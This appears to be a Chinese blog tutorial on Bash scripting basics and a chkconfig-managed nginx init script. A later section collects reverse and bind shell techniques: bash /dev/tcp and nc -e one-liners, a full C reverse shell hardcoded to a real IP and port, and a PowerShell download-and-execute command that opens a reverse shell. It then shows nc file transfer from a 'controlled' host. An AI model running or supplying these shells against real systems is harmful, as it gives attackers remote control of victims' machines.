12、Shell脚本

Shell脚本

一、什么是脚本?

与.bat批处理文件是一种类型的文件。脚本编程语言一般是一种解释性的语言。脚本语言主要用于简化计算机相关人员对于一些反复性操作的重复执行,将这些反复性操作的代码写到一个文件中,每次只需要运行这个文件就可以减少很多的工作量。

二、shell脚本编写格式

1
2
3
4
1:#!/bin/bash    #声明该脚本使用的命令解释器
2:#filename:文件名
3:#脚本注释
4:by athors ...

三、shell的变量赋值

从标准输入接受变量复制:read -p "提示语句" 变量名

四、shell的if判断语句

1
2
3
4
5
6
7
8
9
if condition1        #`表达式`可做condition,shell中0为真,非0为假
then
command1
elif condition2
then
command2
else
commandN
fi

大于:-gt、小于:-lt、等于:-eq

五、shell的for循环

for循环根据取值列表循环。

生成取值列表:{1..100} #生成1-100的取值列表

1
2
3
4
5
6
7
for var in item1 item2 ... itemN(取值列表)
do
command1
command2
...
commandN
done

六、shell的while循环

while循环根据条件进行循环

echo字体颜色设置:echo -e "\e[1;33;41m 字符串 \e[0m"

1
2
3
4
5
6
1. \e 转义起始符,定义一个转义序列, 可以使用 \033代替
2. [ 表示开始定义颜色
3. 1表示高亮,33表示字体颜色为黄色,45表示背景色为红色
4. “test content” 属于文字内容
5. m 转义终止符,表示颜色定义完毕
6. 再次使用 \e[ ,表示再次开启颜色定义,0表示使用默认的颜色,m表示颜色定义结束,所以 \e[0m 的作用是恢复之前的配色方案
1
2
3
字体颜色:30——37

默认=0,黑色=30,红色=31,绿色=32,黄色=33,蓝色=34,紫色=35,天蓝色=36,白色=3
1
2
3
字背景颜色:40——47

默认=0,黑色=40,红色=41,绿色=42,黄色=43,蓝色=44,紫色=45,天蓝色=46,白色=47
1
2
3
4
while condition
do
command
done

七、shell的case语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case 值 in
模式1)
command1
command2
command3
;;
模式2)
command1
command2
command3
;;
*)
command1
command2
command3
;;
esac

八、shell函数

1
2
3
4
5
6
7
8
9
[ function ] funname [()]

{

action;

[return int;]

}
  • 1、可以带function fun() 定义,也可以直接fun() 定义,不带任何参数。
  • 2、参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 return后跟数值n(0-255)
  • 3、函数返回值在调用该函数后通过 $? 来获得。
参数处理 说明
$# 传递到脚本或函数的参数个数
$* 以一个单字符串显示所有向脚本传递的参数
$$ 脚本运行的当前进程ID号
$! 后台运行的最后一个进程的ID号
$@ 与$*相同,但是使用时加引号,并在引号中返回每个参数。
$- 显示Shell使用的当前选项,与set命令功能相同。
$? 显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。

注意,$10 不能获取第十个参数,获取第十个参数需要${10}。当n>=10时,需要使用${n}来获取参数。

九、实验:编写一个nginx服务脚本,并交由chkconfig管理且实现开机自启动

1、在/etc/rc.d/init.d下编写一个nginxd服务脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
#filename: nginxd
#pwd: /etc/rc.d/init.d
#chkconfig: - 66 66 如果需要被chkconfig管理,必须加此注释
nginx=/usr/local/nginx/sbin/nginx
start() {
echo -e "nginx starting... [ \e[32mOK\e[0m ]"
$nginx
}
stop() {
echo -e "ngnix stoping... [ \e[32mOK\e[0m ]"
$nginx -s stop
}
reload() {
echo -e "ngnix stoping... [ \e[32mOK\e[0m ]"
$nginx -s reload
}
status() {
if `ss -ntpl | grep nginx &> /dev/null`
then
echo -e "ngnix starting... [ \e[32mstarting\e[0m ]"
else
echo -e "ngnix is stoped... [ \e[31mstoped\e[0m ]"
fi
}
case $1 in
start)
start
;;
stop)
stop
;;
status)
status
;;
reload)
reload
;;
*)
echo "Usage $0 {start|stop|reload|status}"
;;
esac

2、测试chkconfig是否可以管理此脚本:chkconfig --list nginxd

3、将该脚本加入到chkconfig管理列表:chkconfig --add nginxd

4、设置该脚本在level5级,也就是系统以图形化界面运行启动时,开启此脚本:chkconfig --level 5 nginxd on

十、反弹Shell与正弹Shell

1、反弹Shell

N种反弹Shell的方式:https://www.cnblogs.com/-qing-/p/10841677.html、帮助俺过了一道CTF题的N种Shell方式(msf方式):https://www.cnblogs.com/zhuxr/p/9854230.html

Hacker必备技能-反向shell进阶:https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247484917&idx=1&sn=88e9199bbc27310b30119ce00f3cfcbb&chksm=ce4b2e62f93ca7746f5c339e30968327160e415b0217bc4f9f04c72990dfb1387297715cecd5&mpshare=1&scene=23&srcid=0928E7OUY9dK3Axv1nmtbLIA&sharer_sharetime=1601282092303&sharer_shareid=2bfea3a1914646ead630f87d9dbd3069#rd

1
2
3
/bin/bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1'
bash -i >& /dev/tcp/IP/port 0>&1
nc -lvvp Port

对于反弹shell的终极理解:https://xz.aliyun.com/t/2548、https://www.anquanke.com/post/id/87017

1
2
3
重定向的文件描述符> 重定向的目的地    #重定向该文件描述符的输出方向,默认相当于 1> 
重定向的文件描述符< 重定向的目的地 #重定向该文件描述符的输入方向,默认相当于 0<
&> #&相当于1和2,标准输出与标准错误

2、正弹Shell

1
2
Nc -e /bin/bash  <接受shell的ip>  <端口>    #小可怜
NC -nlvp <端口> #攻击者

3、C语言反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
//#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]="/bin/sh";
char message[]="hacker welcome\n";
int sock;
int main(int argc, char *argv[]) {
/*iif(argc <3){
usage(argv[0]);
}*/

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(2333);//port
server.sin_addr.s_addr = inet_addr("123.57.95.65");//ip

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
/*
void usage(char *prog[]) {
printf("Usage: %s <reflect ip> <port>n", prog);
exit(-1);
}*/

4、Windows反弹Shell

Payload:Windows下powershell反弹Shell

1
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://www.2h0ng.wiki/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 123.57.95.65  -Port 2333

Invoke-PowerShellTcp.ps1来自Github:https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

:Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

B0nSrd.png

十一、在ssh会话中传输文件

1、利用nc

1
2
受控方: nc 服务器IP 服务器端口 < 源文件
服务器方: nv -lvvp 端口 > 目标文件

2、利用php

1
2
受控方开启http服务: php -S 0.0.0.0:端口
服务端通过服务下载文件:wget http://受控方IP:端口/文件名

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器